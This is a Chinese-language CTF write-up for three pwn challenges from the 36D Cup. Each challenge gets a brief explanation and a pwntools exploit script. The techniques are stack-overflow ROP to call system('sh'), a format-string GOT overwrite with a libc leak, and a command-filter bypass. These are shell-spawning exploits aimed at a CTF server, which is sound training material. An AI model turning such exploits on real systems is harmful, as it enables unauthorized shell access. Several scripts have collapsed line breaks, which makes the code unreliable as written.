BJDCTF2020-router

36D杯-签到

栈溢出，用ROPgadget找到一个"sh"字符串，ROP，程序过滤了cat和空格，more<flag绕过即可

# -*- coding:utf-8 -*-
from pwn import *
context.log_level="debug"
#io=process("./pwn1")
io=remote("pwn.challenge.ctf.show",28041)
elf=ELF("./pwn1")system=elf.plt["system"]
sh=0x601040
pop_rdi=0x4006d3
ret=0x4004cepayload="a"*0x20+"b"*8+p64(pop_rdi)+p64(sh)+p64(ret)+p64(system)
io.sendline(payload)io.sendline("more<flag")io.interactive()

36D杯-babyFmtstr

格式化字符串漏洞
1、改写memset的got为main函数地址，重复利用格式化字符串漏洞
2、利用格式化字符串漏洞，泄露libc，得到system真实地址
3、改写printf的got为system真实地址
4、输入/bin/sh\x00

# -*- coding:utf-8 -*-
from pwn import *
context.log_level="debug"
#io=process("./pwn1")
io=remote("pwn.challenge.ctf.show",28041)
elf=ELF("./pwn1")#gdb.attach(io,"b * 0x400D81")
#pause()#改写memset的got为main函数地址
memset_got=elf.got["memset"] 
main_addr=0x400E93
payload="%3731c"+"%10$hnaaaa"+p64(memset_got)
io.sendlineafter("please input name:\n",payload)#泄漏libc
puts_got=elf.got["puts"]
payload="%9$saaaa"+p64(puts_got)
io.sendlineafter("please input name:\n",payload)
puts_addr=u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
print("puts_addr=="+hex(puts_addr))
libc_base=puts_addr-0x06f690
system=libc_base+0x045390
print("system=="+hex(system))#改写printf的got为system真实地址
printf_got=elf.got["printf"]
def set_printf_to_system(system):printf_got_addr=printf_gotx = system & 0xffffffffa = x & 0xffffa1 = printf_got_addrb = (x>>16) & 0xffffb1=printf_got_addr+2if(a>b):tmp=aa=bb=tmptmp=a1a1=b1b1=tmps="%"+str(a)+"c"s+="%12$hn"s+="%"+str(b-a)+"c"s+="%13$hn"for i in range(32-len(s)):s+='a's+=p64(a1)s+=p64(b1)return spayload=set_printf_to_system(system)
io.sendlineafter("please input name:\n",payload)#输入/bin/sh
io.sendlineafter("please input name:\n","/bin/sh\x00")#pause()io.interactive()

36D杯-MagicString

栈溢出，利用look_here函数将字符串"ti"变为"sh"，再ROP执行system("/bin/sh\x00")即可

# -*- coding:utf-8 -*-
from pwn import *
context.log_level="debug"
#io=process("./pwn1")
io=remote("pwn.challenge.ctf.show",28137)
elf=ELF("./pwn1")main_addr=0x400661
system=elf.plt["system"]
look_here=0x40062D
ti=0x60104d
binsh=0x601048
pop_rdi=0x400733
ret=0x4004d1io.recvuntil("a girlfriend!\n")
payload="a"*0x2a0+"b"*8+p64(pop_rdi)+p64(ti)+p64(look_here)+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)
io.sendline(payload)io.interactive()